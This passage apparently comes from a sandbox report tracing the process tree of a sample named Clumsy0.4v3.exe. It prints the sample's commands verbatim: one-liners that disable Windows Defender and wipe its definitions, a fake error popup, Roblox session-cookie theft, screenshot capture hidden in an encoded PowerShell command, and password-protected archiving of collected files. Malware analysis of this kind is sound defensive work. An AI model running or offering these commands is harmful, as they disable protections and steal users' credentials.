                                                                                                                                                              1⤵
                                                                                                                                                                PID:5436
                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe
                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe"
                                                                                                                                                                  2⤵
                                                                                                                                                                  • Drops file in Drivers directory
                                                                                                                                                                  • Loads dropped DLL
                                                                                                                                                                  PID:3052
                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe'"
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:6012
                                                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe'
                                                                                                                                                                        4⤵
                                                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                        PID:768
                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                      C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:5736
                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
                                                                                                                                                                          4⤵
                                                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                          PID:5768
                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                        C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('You do not own this file please try again', 0, 'ERROR', 0+16);close()""
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:5416
                                                                                                                                                                          • C:\Windows\system32\mshta.exe
                                                                                                                                                                            mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('You do not own this file please try again', 0, 'ERROR', 0+16);close()"
                                                                                                                                                                            4⤵
                                                                                                                                                                              PID:3168
                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                            C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:5852
                                                                                                                                                                              • C:\Windows\system32\tasklist.exe
                                                                                                                                                                                tasklist /FO LIST
                                                                                                                                                                                4⤵
                                                                                                                                                                                • Enumerates processes with tasklist
                                                                                                                                                                                PID:5748
                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                              C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:3468
                                                                                                                                                                                • C:\Windows\system32\tasklist.exe
                                                                                                                                                                                  tasklist /FO LIST
                                                                                                                                                                                  4⤵
                                                                                                                                                                                  • Enumerates processes with tasklist
                                                                                                                                                                                  PID:992
                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:5240
                                                                                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                    WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
                                                                                                                                                                                    4⤵
                                                                                                                                                                                      PID:5624
                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
                                                                                                                                                                                    3⤵
                                                                                                                                                                                    • Clipboard Data
                                                                                                                                                                                    PID:5840
                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                      powershell Get-Clipboard
                                                                                                                                                                                      4⤵
                                                                                                                                                                                      • Clipboard Data
                                                                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                      PID:2964
                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:1968
                                                                                                                                                                                      • C:\Windows\system32\tasklist.exe
                                                                                                                                                                                        tasklist /FO LIST
                                                                                                                                                                                        4⤵
                                                                                                                                                                                        • Enumerates processes with tasklist
                                                                                                                                                                                        PID:2304
                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:3452
                                                                                                                                                                                        • C:\Windows\system32\tree.com
                                                                                                                                                                                          tree /A /F
                                                                                                                                                                                          4⤵
                                                                                                                                                                                            PID:396
                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
                                                                                                                                                                                          3⤵
                                                                                                                                                                                          • System Network Configuration Discovery: Wi-Fi Discovery
                                                                                                                                                                                          PID:2816
                                                                                                                                                                                          • C:\Windows\system32\netsh.exe
                                                                                                                                                                                            netsh wlan show profile
                                                                                                                                                                                            4⤵
                                                                                                                                                                                            • Event Triggered Execution: Netsh Helper DLL
                                                                                                                                                                                            • System Network Configuration Discovery: Wi-Fi Discovery
                                                                                                                                                                                            PID:3544
                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c "systeminfo"
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:2836
                                                                                                                                                                                            • C:\Windows\system32\systeminfo.exe
                                                                                                                                                                                              systeminfo
                                                                                                                                                                                              4⤵
                                                                                                                                                                                              • Gathers system information
                                                                                                                                                                                              PID:6088
                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
                                                                                                                                                                                            3⤵
                                                                                                                                                                                              PID:2396
                                                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                                                REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
                                                                                                                                                                                                4⤵
                                                                                                                                                                                                  PID:4248
                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                  PID:4880
                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                    powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                    PID:3196
                                                                                                                                                                                                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                                                                                                                                      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\3xdrfyef\3xdrfyef.cmdline"
                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                        PID:3612
                                                                                                                                                                                                        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                                                                                                                                                          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC569.tmp" "c:\Users\Admin\AppData\Local\Temp\3xdrfyef\CSCE9F64533B9774ADAB1C68B13F5CBFDDC.TMP"
                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                            PID:4988
                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                        PID:4836
                                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                          powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                          PID:5928
                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:5804
                                                                                                                                                                                                          • C:\Windows\system32\tree.com
                                                                                                                                                                                                            tree /A /F
                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                              PID:5628
                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                              PID:5020
                                                                                                                                                                                                              • C:\Windows\system32\attrib.exe
                                                                                                                                                                                                                attrib -r C:\Windows\System32\drivers\etc\hosts
                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                • Drops file in Drivers directory
                                                                                                                                                                                                                • Views/modifies file attributes
                                                                                                                                                                                                                PID:5752
                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                PID:5636
                                                                                                                                                                                                                • C:\Windows\system32\attrib.exe
                                                                                                                                                                                                                  attrib +r C:\Windows\System32\drivers\etc\hosts
                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                  • Drops file in Drivers directory
                                                                                                                                                                                                                  • Views/modifies file attributes
                                                                                                                                                                                                                  PID:3432
                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                  PID:3684
                                                                                                                                                                                                                  • C:\Windows\system32\tree.com
                                                                                                                                                                                                                    tree /A /F
                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                      PID:5856
                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                      PID:5432
                                                                                                                                                                                                                      • C:\Windows\system32\tasklist.exe
                                                                                                                                                                                                                        tasklist /FO LIST
                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                        • Enumerates processes with tasklist
                                                                                                                                                                                                                        PID:1632
                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                        PID:4744
                                                                                                                                                                                                                        • C:\Windows\system32\tree.com
                                                                                                                                                                                                                          tree /A /F
                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                            PID:5008
                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                            PID:1432
                                                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                              powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                PID:768
                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                PID:5772
                                                                                                                                                                                                                                • C:\Windows\system32\tree.com
                                                                                                                                                                                                                                  tree /A /F
                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                    PID:5424
                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                    PID:4372
                                                                                                                                                                                                                                    • C:\Windows\system32\tree.com
                                                                                                                                                                                                                                      tree /A /F
                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                        PID:4216
                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c "getmac"
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                        PID:392
                                                                                                                                                                                                                                        • C:\Windows\system32\getmac.exe
                                                                                                                                                                                                                                          getmac
                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                            PID:4612
                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI54362\rar.exe a -r -hp"skoch" "C:\Users\Admin\AppData\Local\Temp\8pY5V.zip" *"
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                            PID:2396
                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\_MEI54362\rar.exe
                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\_MEI54362\rar.exe a -r -hp"skoch" "C:\Users\Admin\AppData\Local\Temp\8pY5V.zip" *
                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                              PID:3652
                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                              PID:5964
                                                                                                                                                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                wmic os get Caption
                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                  PID:5200
                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                  PID:5680
                                                                                                                                                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                    wmic computersystem get totalphysicalmemory
                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                      PID:5024
                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                      PID:4904
                                                                                                                                                                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                        wmic csproduct get uuid
                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                          PID:1184
                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
